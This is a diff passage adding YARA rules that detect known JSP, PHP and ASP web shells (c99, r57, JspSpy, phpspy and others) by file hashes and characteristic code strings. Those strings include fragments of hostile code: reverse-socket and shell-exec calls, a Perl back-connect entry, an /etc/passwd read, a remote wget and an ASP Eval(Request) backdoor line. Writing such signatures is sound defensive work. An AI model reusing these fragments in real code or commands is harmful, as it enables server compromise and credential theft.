+rule webshell_jsp_reverse_jsp_reverse_jspbd {
+	meta:
+		description = "Web Shell - from files jsp-reverse.jsp, jsp-reverse.jsp, jspbd.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		super_rule = 1
+		hash0 = "8b0e6779f25a17f0ffb3df14122ba594"
+		hash1 = "ea87f0c1f0535610becadf5a98aca2fc"
+		hash2 = "7d5e9732766cf5b8edca9b7ae2b6028f"
+		score = 50
+	strings:
+		$s0 = "osw = new BufferedWriter(new OutputStreamWriter(os));" fullword
+		$s7 = "sock = new Socket(ipAddress, (new Integer(ipPort)).intValue());" fullword
+		$s9 = "isr = new BufferedReader(new InputStreamReader(is));" fullword
+	condition:
+		all of them
+}
+rule webshell_400_in_JFolder_jfolder01_jsp_leo_warn_webshell_nc {
+	meta:
+		description = "Web Shell - from files 400.jsp, in.jsp, JFolder.jsp, jfolder01.jsp, jsp.jsp, leo.jsp, warn.jsp, webshell-nc.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "36331f2c81bad763528d0ae00edf55be"
+		hash1 = "793b3d0a740dbf355df3e6f68b8217a4"
+		hash2 = "8979594423b68489024447474d113894"
+		hash3 = "ec482fc969d182e5440521c913bab9bd"
+		hash4 = "f98d2b33cd777e160d1489afed96de39"
+		hash5 = "4b4c12b3002fad88ca6346a873855209"
+		hash6 = "e9a5280f77537e23da2545306f6a19ad"
+		hash7 = "598eef7544935cf2139d1eada4375bb5"
+	strings:
+		$s0 = "sbFolder.append(\"<tr><td >&nbsp;</td><td>\");" fullword
+		$s1 = "return filesize / intDivisor + \".\" + strAfterComma + \" \" + strUnit;" fullword
+		$s5 = "FileInfo fi = (FileInfo) ht.get(\"cqqUploadFile\");" fullword
+		$s6 = "<input type=\"hidden\" name=\"cmd\" value=\"<%=strCmd%>\">" fullword
+	condition:
+		2 of them
+}
+rule webshell_2_520_job_JspWebshell_1_2_ma1_ma4_2 {
+	meta:
+		description = "Web Shell - from files 2.jsp, 520.jsp, job.jsp, JspWebshell 1.2.jsp, ma1.jsp, ma4.jsp, 2.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "64a3bf9142b045b9062b204db39d4d57"
+		hash1 = "9abd397c6498c41967b4dd327cf8b55a"
+		hash2 = "56c005690da2558690c4aa305a31ad37"
+		hash3 = "70a0ee2624e5bbe5525ccadc467519f6"
+		hash4 = "532b93e02cddfbb548ce5938fe2f5559"
+		hash5 = "6e0fa491d620d4af4b67bae9162844ae"
+		hash6 = "7eabe0f60975c0c73d625b7ddf7b9cbd"
+	strings:
+		$s1 = "while ((nRet = insReader.read(tmpBuffer, 0, 1024)) != -1) {" fullword
+		$s6 = "password = (String)session.getAttribute(\"password\");" fullword
+		$s7 = "insReader = new InputStreamReader(proc.getInputStream(), Charset.forName(\"GB231"
+	condition:
+		2 of them
+}
+rule webshell_shell_2008_2009mssql_phpspy_2005_full_phpspy_2006_arabicspy_hkrkoz {
+	meta:
+		description = "Web Shell - from files shell.php, 2008.php, 2009mssql.php, phpspy_2005_full.php, phpspy_2006.php, arabicspy.php, hkrkoz.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 60
+		super_rule = 1
+		hash0 = "791708057d8b429d91357d38edf43cc0"
+		hash1 = "3e4ba470d4c38765e4b16ed930facf2c"
+		hash2 = "aa17b71bb93c6789911bd1c9df834ff9"
+		hash3 = "b68bfafc6059fd26732fa07fb6f7f640"
+		hash4 = "40a1f840111996ff7200d18968e42cfe"
+		hash5 = "e0202adff532b28ef1ba206cf95962f2"
+		hash6 = "802f5cae46d394b297482fd0c27cb2fc"
+	strings:
+		$s0 = "$tabledump .= \"'\".mysql_escape_string($row[$fieldcounter]).\"'\";" fullword
+		$s5 = "while(list($kname, $columns) = @each($index)) {" fullword
+		$s6 = "$tabledump = \"DROP TABLE IF EXISTS $table;\\n\";" fullword
+		$s9 = "$tabledump .= \"   PRIMARY KEY ($colnames)\";" fullword
+		$fn = "filename: backup"
+	condition:
+		2 of ($s*) and not $fn
+}
+rule webshell_gfs_sh_r57shell_r57shell127_SnIpEr_SA_xxx {
+	meta:
+		description = "Web Shell - from files gfs_sh.php, r57shell.php, r57shell127.php, SnIpEr_SA Shell.php, EgY_SpIdEr ShElL V2.php, r57_iFX.php, r57_kartal.php, r57_Mohajer22.php, r57.php, r57.php, Backdoor.PHP.Agent.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "a2516ac6ee41a7cf931cbaef1134a9e4"
+		hash1 = "ef43fef943e9df90ddb6257950b3538f"
+		hash2 = "ae025c886fbe7f9ed159f49593674832"
+		hash3 = "911195a9b7c010f61b66439d9048f400"
+		hash4 = "697dae78c040150daff7db751fc0c03c"
+		hash5 = "513b7be8bd0595c377283a7c87b44b2e"
+		hash6 = "1d912c55b96e2efe8ca873d6040e3b30"
+		hash7 = "e5b2131dd1db0dbdb43b53c5ce99016a"
+		hash8 = "4108f28a9792b50d95f95b9e5314fa1e"
+		hash9 = "41af6fd253648885c7ad2ed524e0692d"
+		hash10 = "6fcc283470465eed4870bcc3e2d7f14d"
+	strings:
+		$s0 = "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuI"
+		$s11 = "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KIC"
+	condition:
+		all of them
+}
+rule webshell_itsec_PHPJackal_itsecteam_shell_jHn {
+	meta:
+		description = "Web Shell - from files itsec.php, PHPJackal.php, itsecteam_shell.php, jHn.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "8ae9d2b50dc382f0571cd7492f079836"
+		hash1 = "e2830d3286001d1455479849aacbbb38"
+		hash2 = "bd6d3b2763c705a01cc2b3f105a25fa4"
+		hash3 = "40c6ecf77253e805ace85f119fe1cebb"
+	strings:
+		$s0 = "$link=pg_connect(\"host=$host dbname=$db user=$user password=$pass\");" fullword
+		$s6 = "while($data=ocifetchinto($stm,$data,OCI_ASSOC+OCI_RETURN_NULLS))$res.=implode('|"
+		$s9 = "while($data=pg_fetch_row($result))$res.=implode('|-|-|-|-|-|',$data).'|+|+|+|+|+"
+	condition:
+		2 of them
+}
+rule webshell_Shell_ci_Biz_was_here_c100_v_xxx {
+	meta:
+		description = "Web Shell - from files Shell [ci] .Biz was here.php, c100 v. 777shell v. Undetectable #18a Modded by 777 - Don.php, c99-shadows-mod.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "f2fa878de03732fbf5c86d656467ff50"
+		hash1 = "27786d1e0b1046a1a7f67ee41c64bf4c"
+		hash2 = "68c0629d08b1664f5bcce7d7f5f71d22"
+	strings:
+		$s2 = "if ($data{0} == \"\\x99\" and $data{1} == \"\\x01\") {return \"Error: \".$stri"
+		$s3 = "<OPTION VALUE=\"find /etc/ -type f -perm -o+w 2> /dev/null\""
+		$s4 = "<OPTION VALUE=\"cat /proc/version /proc/cpuinfo\">CPUINFO" fullword
+		$s7 = "<OPTION VALUE=\"wget http://ftp.powernet.com.tr/supermail/de"
+		$s9 = "<OPTION VALUE=\"cut -d: -f1,2,3 /etc/passwd | grep ::\">USER"
+	condition:
+		2 of them
+}
+rule webshell_NIX_REMOTE_WEB_SHELL_NIX_REMOTE_WEB_xxx1 {
+	meta:
+		description = "Web Shell - from files NIX REMOTE WEB-SHELL.php, NIX REMOTE WEB-SHELL v.0.5 alpha Lite Public Version.php, KAdot Universal Shell v0.1.6.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "0b19e9de790cd2f4325f8c24b22af540"
+		hash1 = "f3ca29b7999643507081caab926e2e74"
+		hash2 = "527cf81f9272919bf872007e21c4bdda"
+	strings:
+		$s1 = "<td><input size=\"48\" value=\"$docr/\" name=\"path\" type=\"text\"><input type="
+		$s2 = "$uploadfile = $_POST['path'].$_FILES['file']['name'];" fullword
+		$s6 = "elseif (!empty($_POST['ac'])) {$ac = $_POST['ac'];}" fullword
+		$s7 = "if ($_POST['path']==\"\"){$uploadfile = $_FILES['file']['name'];}" fullword
+	condition:
+		2 of them
+}
+rule webshell_c99_c99shell_c99_w4cking_Shell_xxx {
+	meta:
+		description = "Web Shell - from files c99.php, c99shell.php, c99_w4cking.php, Shell [ci] .Biz was here.php, acid.php, c100 v. 777shell v. Undetectable #18a Modded by 777 - Don.php, c66.php, c99-shadows-mod.php, c99.php, c99shell.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "61a92ce63369e2fa4919ef0ff7c51167"
+		hash1 = "d3f38a6dc54a73d304932d9227a739ec"
+		hash2 = "9c34adbc8fd8d908cbb341734830f971"
+		hash3 = "f2fa878de03732fbf5c86d656467ff50"
+		hash4 = "b8f261a3cdf23398d573aaf55eaf63b5"
+		hash5 = "27786d1e0b1046a1a7f67ee41c64bf4c"
+		hash6 = "0f5b9238d281bc6ac13406bb24ac2a5b"
+		hash7 = "68c0629d08b1664f5bcce7d7f5f71d22"
+		hash8 = "157b4ac3c7ba3a36e546e81e9279eab5"
+		hash9 = "048ccc01b873b40d57ce25a4c56ea717"
+	strings:
+		$s0 = "echo \"<b>HEXDUMP:</b><nobr>"
+		$s4 = "if ($filestealth) {$stat = stat($d.$f);}" fullword
+		$s5 = "while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo \"<tr><td>\".$r"
+		$s6 = "if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo \"DB "
+		$s8 = "echo \"<center><b>Server-status variables:</b><br><br>\";" fullword
+		$s9 = "echo \"<textarea cols=80 rows=10>\".htmlspecialchars($encoded).\"</textarea>"
+	condition:
+		2 of them
+}
+rule webshell_2008_2009mssql_phpspy_2005_full_phpspy_2006_arabicspy_hkrkoz {
+	meta:
+		description = "Web Shell - from files 2008.php, 2009mssql.php, phpspy_2005_full.php, phpspy_2006.php, arabicspy.php, hkrkoz.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "3e4ba470d4c38765e4b16ed930facf2c"
+		hash1 = "aa17b71bb93c6789911bd1c9df834ff9"
+		hash2 = "b68bfafc6059fd26732fa07fb6f7f640"
+		hash3 = "40a1f840111996ff7200d18968e42cfe"
+		hash4 = "e0202adff532b28ef1ba206cf95962f2"
+		hash5 = "802f5cae46d394b297482fd0c27cb2fc"
+	strings:
+		$s0 = "$this -> addFile($content, $filename);" fullword
+		$s3 = "function addFile($data, $name, $time = 0) {" fullword
+		$s8 = "function unix2DosTime($unixtime = 0) {" fullword
+		$s9 = "foreach($filelist as $filename){" fullword
+	condition:
+		all of them
+}
+rule webshell_c99_c66_c99_shadows_mod_c99shell {
+	meta:
+		description = "Web Shell - from files c99.php, c66.php, c99-shadows-mod.php, c99shell.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "61a92ce63369e2fa4919ef0ff7c51167"
+		hash1 = "0f5b9238d281bc6ac13406bb24ac2a5b"
+		hash2 = "68c0629d08b1664f5bcce7d7f5f71d22"
+		hash3 = "048ccc01b873b40d57ce25a4c56ea717"
+	strings:
+		$s2 = "  if (unlink(_FILE_)) {@ob_clean(); echo \"Thanks for using c99shell v.\".$shv"
+		$s3 = "  \"c99sh_backconn.pl\"=>array(\"Using PERL\",\"perl %path %host %port\")," fullword
+		$s4 = "<br><TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#66"
+		$s7 = "   elseif (!$data = c99getsource($bind[\"src\"])) {echo \"Can't download sources"
+		$s8 = "  \"c99sh_datapipe.pl\"=>array(\"Using PERL\",\"perl %path %localport %remotehos"
+		$s9 = "   elseif (!$data = c99getsource($bc[\"src\"])) {echo \"Can't download sources!"
+	condition:
+		2 of them
+}
+rule webshell_he1p_JspSpy_nogfw_ok_style_1_JspSpy1 {
+	meta:
+		description = "Web Shell - from files he1p.jsp, JspSpy.jsp, nogfw.jsp, ok.jsp, style.jsp, 1.jsp, JspSpy.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "b330a6c2d49124ef0729539761d6ef0b"
+		hash1 = "d71716df5042880ef84427acee8b121e"
+		hash2 = "344f9073576a066142b2023629539ebd"
+		hash3 = "32dea47d9c13f9000c4c807561341bee"
+		hash4 = "b9744f6876919c46a29ea05b1d95b1c3"
+		hash5 = "3ea688e3439a1f56b16694667938316d"
+		hash6 = "2434a7a07cb47ce25b41d30bc291cacc"
+	strings:
+		$s0 = "\"\"+f.canRead()+\" / \"+f.canWrite()+\" / \"+f.canExecute()+\"</td>\"+" fullword
+		$s4 = "out.println(\"<h2>File Manager - Current disk &quot;\"+(cr.indexOf(\"/\") == 0?"
+		$s7 = "String execute = f.canExecute() ? \"checked=\\\"checked\\\"\" : \"\";" fullword
+		$s8 = "\"<td nowrap>\"+f.canRead()+\" / \"+f.canWrite()+\" / \"+f.canExecute()+\"</td>"
+	condition:
+		2 of them
+}
+rule webshell_000_403_c5_config_myxx_queryDong_spyjsp2010_zend {
+	meta:
+		description = "Web Shell - from files 000.jsp, 403.jsp, c5.jsp, config.jsp, myxx.jsp, queryDong.jsp, spyjsp2010.jsp, zend.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "2eeb8bf151221373ee3fd89d58ed4d38"
+		hash1 = "059058a27a7b0059e2c2f007ad4675ef"
+		hash2 = "8b457934da3821ba58b06a113e0d53d9"
+		hash3 = "d44df8b1543b837e57cc8f25a0a68d92"
+		hash4 = "e0354099bee243702eb11df8d0e046df"
+		hash5 = "90a5ba0c94199269ba33a58bc6a4ad99"
+		hash6 = "655722eaa6c646437c8ae93daac46ae0"
+		hash7 = "591ca89a25f06cf01e4345f98a22845c"
+	strings:
+		$s0 = "return new Double(format.format(value)).doubleValue();" fullword
+		$s5 = "File tempF = new File(savePath);" fullword
+		$s9 = "if (tempF.isDirectory()) {" fullword
+	condition:
+		2 of them
+}
+rule webshell_c99_c99shell_c99_c99shell {
+	meta:
+		description = "Web Shell - from files c99.php, c99shell.php, c99.php, c99shell.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "61a92ce63369e2fa4919ef0ff7c51167"
+		hash1 = "d3f38a6dc54a73d304932d9227a739ec"
+		hash2 = "157b4ac3c7ba3a36e546e81e9279eab5"
+		hash3 = "048ccc01b873b40d57ce25a4c56ea717"
+	strings:
+		$s2 = "$bindport_pass = \"c99\";" fullword
+		$s5 = " else {echo \"<b>Execution PHP-code</b>\"; if (empty($eval_txt)) {$eval_txt = tr"
+	condition:
+		1 of them
+}
+rule webshell_r57shell127_r57_iFX_r57_kartal_r57_antichat {
+	meta:
+		description = "Web Shell - from files r57shell127.php, r57_iFX.php, r57_kartal.php, r57.php, antichat.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "ae025c886fbe7f9ed159f49593674832"
+		hash1 = "513b7be8bd0595c377283a7c87b44b2e"
+		hash2 = "1d912c55b96e2efe8ca873d6040e3b30"
+		hash3 = "4108f28a9792b50d95f95b9e5314fa1e"
+		hash4 = "3f71175985848ee46cc13282fbed2269"
+	strings:
+		$s6 = "$res   = @mysql_query(\"SHOW CREATE TABLE `\".$_POST['mysql_tbl'].\"`\", $d"
+		$s7 = "$sql1 .= $row[1].\"\\r\\n\\r\\n\";" fullword
+		$s8 = "if(!empty($_POST['dif'])&&$fp) { @fputs($fp,$sql1.$sql2); }" fullword
+		$s9 = "foreach($values as $k=>$v) {$values[$k] = addslashes($v);}" fullword
+	condition:
+		2 of them
+}
+rule webshell_NIX_REMOTE_WEB_SHELL_nstview_xxx {
+	meta:
+		description = "Web Shell - from files NIX REMOTE WEB-SHELL.php, nstview.php, NIX REMOTE WEB-SHELL v.0.5 alpha Lite Public Version.php, Cyber Shell (v 1.0).php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "0b19e9de790cd2f4325f8c24b22af540"
+		hash1 = "4745d510fed4378e4b1730f56f25e569"
+		hash2 = "f3ca29b7999643507081caab926e2e74"
+		hash3 = "46a18979750fa458a04343cf58faa9bd"
+	strings:
+		$s3 = "BODY, TD, TR {" fullword
+		$s5 = "$d=str_replace(\"\\\\\",\"/\",$d);" fullword
+		$s6 = "if ($file==\".\" || $file==\"..\") continue;" fullword
+	condition:
+		2 of them
+}
+rule webshell_000_403_807_a_c5_config_css_dm_he1p_xxx {
+	meta:
+		description = "Web Shell - from files 000.jsp, 403.jsp, 807.jsp, a.jsp, c5.jsp, config.jsp, css.jsp, dm.jsp, he1p.jsp, JspSpy.jsp, JspSpyJDK5.jsp, JspSpyJDK51.jsp, luci.jsp.spy2009.jsp, m.jsp, ma3.jsp, mmym520.jsp, myxx.jsp, nogfw.jsp, ok.jsp, queryDong.jsp, spyjsp2010.jsp, style.jsp, u.jsp, xia.jsp, zend.jsp, cofigrue.jsp, 1.jsp, jspspy.jsp, jspspy_k8.jsp, JspSpy.jsp, JspSpyJDK5.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "2eeb8bf151221373ee3fd89d58ed4d38"
+		hash1 = "059058a27a7b0059e2c2f007ad4675ef"
+		hash2 = "ae76c77fb7a234380cd0ebb6fe1bcddf"
+		hash3 = "76037ebd781ad0eac363d56fc81f4b4f"
+		hash4 = "8b457934da3821ba58b06a113e0d53d9"
+		hash5 = "d44df8b1543b837e57cc8f25a0a68d92"
+		hash6 = "fc44f6b4387a2cb50e1a63c66a8cb81c"
+		hash7 = "14e9688c86b454ed48171a9d4f48ace8"
+		hash8 = "b330a6c2d49124ef0729539761d6ef0b"
+		hash9 = "d71716df5042880ef84427acee8b121e"
+		hash10 = "341298482cf90febebb8616426080d1d"
+		hash11 = "29aebe333d6332f0ebc2258def94d57e"
+		hash12 = "42654af68e5d4ea217e6ece5389eb302"
+		hash13 = "88fc87e7c58249a398efd5ceae636073"
+		hash14 = "4a812678308475c64132a9b56254edbc"
+		hash15 = "9626eef1a8b9b8d773a3b2af09306a10"
+		hash16 = "e0354099bee243702eb11df8d0e046df"
+		hash17 = "344f9073576a066142b2023629539ebd"
+		hash18 = "32dea47d9c13f9000c4c807561341bee"
+		hash19 = "90a5ba0c94199269ba33a58bc6a4ad99"
+		hash20 = "655722eaa6c646437c8ae93daac46ae0"
+		hash21 = "b9744f6876919c46a29ea05b1d95b1c3"
+		hash22 = "6acc82544be056580c3a1caaa4999956"
+		hash23 = "6aa32a6392840e161a018f3907a86968"
+		hash24 = "591ca89a25f06cf01e4345f98a22845c"
+		hash25 = "349ec229e3f8eda0f9eb918c74a8bf4c"
+		hash26 = "3ea688e3439a1f56b16694667938316d"
+		hash27 = "ab77e4d1006259d7cbc15884416ca88c"
+		hash28 = "71097537a91fac6b01f46f66ee2d7749"
+		hash29 = "2434a7a07cb47ce25b41d30bc291cacc"
+		hash30 = "7a4b090619ecce6f7bd838fe5c58554b"
+	strings:
+		$s3 = "String savePath = request.getParameter(\"savepath\");" fullword
+		$s4 = "URL downUrl = new URL(downFileUrl);" fullword
+		$s5 = "if (Util.isEmpty(downFileUrl) || Util.isEmpty(savePath))" fullword
+		$s6 = "String downFileUrl = request.getParameter(\"url\");" fullword
+		$s7 = "FileInputStream fInput = new FileInputStream(f);" fullword
+		$s8 = "URLConnection conn = downUrl.openConnection();" fullword
+		$s9 = "sis = request.getInputStream();" fullword
+	condition:
+		4 of them
+}
+rule webshell_2_520_icesword_job_ma1 {
+	meta:
+		description = "Web Shell - from files 2.jsp, 520.jsp, icesword.jsp, job.jsp, ma1.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "64a3bf9142b045b9062b204db39d4d57"
+		hash1 = "9abd397c6498c41967b4dd327cf8b55a"
+		hash2 = "077f4b1b6d705d223b6d644a4f3eebae"
+		hash3 = "56c005690da2558690c4aa305a31ad37"
+		hash4 = "532b93e02cddfbb548ce5938fe2f5559"
+	strings:
+		$s1 = "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=gb2312\"></head>" fullword
+		$s3 = "<input type=\"hidden\" name=\"_EVENTTARGET\" value=\"\" />" fullword
+		$s8 = "<input type=\"hidden\" name=\"_EVENTARGUMENT\" value=\"\" />" fullword
+	condition:
+		2 of them
+}
+rule webshell_404_data_in_JFolder_jfolder01_jsp_suiyue_warn {
+	meta:
+		description = "Web Shell - from files 404.jsp, data.jsp, in.jsp, JFolder.jsp, jfolder01.jsp, jsp.jsp, suiyue.jsp, warn.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "7066f4469c3ec20f4890535b5f299122"
+		hash1 = "9f54aa7b43797be9bab7d094f238b4ff"
+		hash2 = "793b3d0a740dbf355df3e6f68b8217a4"
+		hash3 = "8979594423b68489024447474d113894"
+		hash4 = "ec482fc969d182e5440521c913bab9bd"
+		hash5 = "f98d2b33cd777e160d1489afed96de39"
+		hash6 = "c93d5bdf5cf62fe22e299d0f2b865ea7"
+		hash7 = "e9a5280f77537e23da2545306f6a19ad"
+	strings:
+		$s0 = "<table width=\"100%\" border=\"1\" cellspacing=\"0\" cellpadding=\"5\" bordercol"
+		$s2 = " KB </td>" fullword
+		$s3 = "<table width=\"98%\" border=\"0\" cellspacing=\"0\" cellpadding=\""
+		$s4 = "<!-- <tr align=\"center\"> " fullword
+	condition:
+		all of them
+}
+
+rule webshell_phpspy_2005_full_phpspy_2005_lite_phpspy_2006_PHPSPY {
+	meta:
+		description = "Web Shell - from files phpspy_2005_full.php, phpspy_2005_lite.php, phpspy_2006.php, PHPSPY.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "b68bfafc6059fd26732fa07fb6f7f640"
+		hash1 = "42f211cec8032eb0881e87ebdb3d7224"
+		hash2 = "40a1f840111996ff7200d18968e42cfe"
+		hash3 = "0712e3dc262b4e1f98ed25760b206836"
+	strings:
+		$s4 = "http://www.4ngel.net" fullword
+		$s5 = "</a> | <a href=\"?action=phpenv\">PHP" fullword
+		$s8 = "echo $msg=@fwrite($fp,$_POST['filecontent']) ? \"" fullword
+		$s9 = "Codz by Angel" fullword
+	condition:
+		2 of them
+}
+rule webshell_c99_locus7s_c99_w4cking_xxx {
+	meta:
+		description = "Web Shell - from files c99_locus7s.php, c99_w4cking.php, r57shell.php, r57shell127.php, SnIpEr_SA Shell.php, EgY_SpIdEr ShElL V2.php, r57_iFX.php, r57_kartal.php, r57_Mohajer22.php, r57.php, acid.php, newsh.php, r57.php, Backdoor.PHP.Agent.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "38fd7e45f9c11a37463c3ded1c76af4c"
+		hash1 = "9c34adbc8fd8d908cbb341734830f971"
+		hash2 = "ef43fef943e9df90ddb6257950b3538f"
+		hash3 = "ae025c886fbe7f9ed159f49593674832"
+		hash4 = "911195a9b7c010f61b66439d9048f400"
+		hash5 = "697dae78c040150daff7db751fc0c03c"
+		hash6 = "513b7be8bd0595c377283a7c87b44b2e"
+		hash7 = "1d912c55b96e2efe8ca873d6040e3b30"
+		hash8 = "e5b2131dd1db0dbdb43b53c5ce99016a"
+		hash9 = "4108f28a9792b50d95f95b9e5314fa1e"
+		hash10 = "b8f261a3cdf23398d573aaf55eaf63b5"
+		hash11 = "0d2c2c151ed839e6bafc7aa9c69be715"
+		hash12 = "41af6fd253648885c7ad2ed524e0692d"
+		hash13 = "6fcc283470465eed4870bcc3e2d7f14d"
+	strings:
+		$s1 = "$res = @shell_exec($cfe);" fullword
+		$s8 = "$res = @ob_get_contents();" fullword
+		$s9 = "@exec($cfe,$res);" fullword
+	condition:
+		2 of them
+}
+rule webshell_browser_201_3_ma_ma2_download {
+	meta:
+		description = "Web Shell - from files browser.jsp, 201.jsp, 3.jsp, ma.jsp, ma2.jsp, download.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "37603e44ee6dc1c359feb68a0d566f76"
+		hash1 = "a7e25b8ac605753ed0c438db93f6c498"
+		hash2 = "fb8c6c3a69b93e5e7193036fd31a958d"
+		hash3 = "4cc68fa572e88b669bce606c7ace0ae9"
+		hash4 = "4b45715fa3fa5473640e17f49ef5513d"
+		hash5 = "fa87bbd7201021c1aefee6fcc5b8e25a"
+	strings:
+		$s1 = "private static final int EDITFIELD_ROWS = 30;" fullword
+		$s2 = "private static String tempdir = \".\";" fullword
+		$s6 = "<input type=\"hidden\" name=\"dir\" value=\"<%=request.getAttribute(\"dir\")%>\""
+	condition:
+		2 of them
+}
+rule webshell_000_403_c5_queryDong_spyjsp2010 {
+	meta:
+		description = "Web Shell - from files 000.jsp, 403.jsp, c5.jsp, queryDong.jsp, spyjsp2010.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "2eeb8bf151221373ee3fd89d58ed4d38"
+		hash1 = "059058a27a7b0059e2c2f007ad4675ef"
+		hash2 = "8b457934da3821ba58b06a113e0d53d9"
+		hash3 = "90a5ba0c94199269ba33a58bc6a4ad99"
+		hash4 = "655722eaa6c646437c8ae93daac46ae0"
+	strings:
+		$s2 = "\" <select name='encode' class='input'><option value=''>ANSI</option><option val"
+		$s7 = "JSession.setAttribute(\"MSG\",\"<span style='color:red'>Upload File Failed!</spa"
+		$s8 = "File f = new File(JSession.getAttribute(CURRENT_DIR)+\"/\"+fileBean.getFileName("
+		$s9 = "((Invoker)ins.get(\"vd\")).invoke(request,response,JSession);" fullword
+	condition:
+		2 of them
+}
+rule webshell_r57shell127_r57_kartal_r57 {
+	meta:
+		description = "Web Shell - from files r57shell127.php, r57_kartal.php, r57.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "ae025c886fbe7f9ed159f49593674832"
+		hash1 = "1d912c55b96e2efe8ca873d6040e3b30"
+		hash2 = "4108f28a9792b50d95f95b9e5314fa1e"
+	strings:
+		$s2 = "$handle = @opendir($dir) or die(\"Can't open directory $dir\");" fullword
+		$s3 = "if(!empty($_POST['mysql_db'])) { @mssql_select_db($_POST['mysql_db'],$db); }" fullword
+		$s5 = "if (!isset($_SERVER['PHP_AUTH_USER']) || $_SERVER['PHP_AUTH_USER']!==$name || $_"
+	condition:
+		2 of them
+}
+
+rule webshell_webshells_new_con2 {
+	meta:
+		description = "Web shells - generated from file con2.asp"
+		author = "Florian Roth"
+		date = "2014/03/28"
+		score = 70
+		hash = "d3584159ab299d546bd77c9654932ae3"
+	strings:
+		$s7 = ",htaPrewoP(ecalper=htaPrewoP:fI dnE:0=KOtidE:1 - eulaVtni = eulaVtni:nehT 1 => e"
+		$s10 = "j \"<Form action='\"&URL&\"?Action2=Post' method='post' name='EditForm'><input n"
+	condition:
+		1 of them
+}
+rule webshell_webshells_new_make2 {
+	meta:
+		description = "Web shells - generated from file make2.php"
+		author = "Florian Roth"
+		date = "2014/03/28"
+		hash = "9af195491101e0816a263c106e4c145e"
+		score = 50
+	strings:
+		$s1 = "error_reporting(0);session_start();header(\"Content-type:text/html;charset=utf-8"
+	condition:
+		all of them
+}
+rule webshell_webshells_new_aaa {
+	meta:
+		description = "Web shells - generated from file aaa.asp"
+		author = "Florian Roth"
+		date = "2014/03/28"
+		score = 70
+		hash = "68483788ab171a155db5266310c852b2"
+	strings:
+		$s0 = "Function fvm(jwv):If jwv=\"\"Then:fvm=jwv:Exit Function:End If:Dim tt,sru:tt=\""
+		$s5 = "<option value=\"\"DROP TABLE [jnc];exec mast\"&kvp&\"er..xp_regwrite 'HKEY_LOCAL"
+		$s17 = "if qpv=\"\" then qpv=\"x:\\Program Files\\MySQL\\MySQL Server 5.0\\my.ini\"&br&"
+	condition:
+		1 of them
+}
+rule webshell_Expdoor_com_ASP {
+	meta:
+		description = "Web shells - generated from file Expdoor.com ASP.asp"
+		author = "Florian Roth"
+		date = "2014/03/28"
+		score = 70
+		hash = "caef01bb8906d909f24d1fa109ea18a7"
+	strings:
+		$s4 = "\">www.Expdoor.com</a>" fullword
+		$s5 = "    <input name=\"FileName\" type=\"text\" value=\"Asp_ver.Asp\" size=\"20\" max"
+		$s10 = "set file=fs.OpenTextFile(server.MapPath(FileName),8,True)  '" fullword
+		$s14 = "set fs=server.CreateObject(\"Scripting.FileSystemObject\")   '" fullword
+		$s16 = "<TITLE>Expdoor.com ASP" fullword
+	condition:
+		2 of them
+}
+rule webshell_webshells_new_php2 {
+	meta:
+		description = "Web shells - generated from file php2.php"
+		author = "Florian Roth"
+		date = "2014/03/28"
+		score = 70
+		hash = "fbf2e76e6f897f6f42b896c855069276"
+	strings:
+		$s0 = "<?php $s=@$_GET[2];if(md5($s.$s)=="
+	condition:
+		all of them
+}
+rule webshell_bypass_iisuser_p {
+	meta:
+		description = "Web shells - generated from file bypass-iisuser-p.asp"
+		author = "Florian Roth"
+		date = "2014/03/28"
+		score = 70
+		hash = "924d294400a64fa888a79316fb3ccd90"
+	strings:
+		$s0 = "<%Eval(Request(chr(112))):Set fso=CreateObject"
+	condition:
+		all of them
+}
+rule webshell_sig_404super {
+	meta:
